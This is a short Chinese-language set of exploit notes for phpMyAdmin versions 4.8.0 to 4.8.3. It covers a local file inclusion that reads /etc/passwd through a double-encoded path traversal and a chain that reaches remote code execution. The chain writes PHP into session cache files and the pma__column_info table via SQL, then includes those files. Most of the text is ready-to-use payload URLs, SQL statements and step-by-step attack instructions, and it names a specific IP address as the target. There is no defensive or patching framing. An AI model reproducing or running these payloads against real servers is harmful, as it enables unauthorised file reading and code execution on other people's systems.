phpmyadmin 4.8.1 文件包含漏洞
漏洞入口:
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
高阶利用(包含缓存文件):
- 缓存文件的路径(注:需将sess_xxx中的xxx修改为cookie中“phpMyAdmin”key中相应的value)
http://183.129.189.60:10019/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_2gkrlfn2fhhm4s1ojbrb31evordvb12r - 在SQL tab中执行如下sql语句,该语句即写入缓存,可以执行。
SELECT '<?php phpinfo() ?>'
SELECT '<?php phpinfo(); ?>' #有无分号均可
TODO,理论上写入select '<?php system("ifconfig");?>',也应成功,但是并未成功。
phpmyadmin 4.8.0-4.8.3远程代码执行漏洞
0x00 执行sql语句,写入缓存
CREATE DATABASE vuls;
CREATE TABLE vuls.bar ( baz VARCHAR(100) PRIMARY KEY);
INSERT INTO vuls.bar SELECT '<?php phpinfo();?>';
0x01 在数据库vuls中生成配置表
访问:/chk_rel.php?fixall_pmadb=1&db=vuls
0x02 找到本地cookie中phpMyAdmin对应的sessionid
0x03 将session文件写入pma__column_info表中
INSERT INTO `pma__column_info` SELECT '1','vuls','bar','baz','plop','plop','plop','plop','../../../../../../../../var/lib/php/sessions/sess_2cakivkoe38rq6rpurv46qq1sasfcqtt','plop';
0x04 访问,发现执行成功
/tbl_replace.php?db=vuls&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1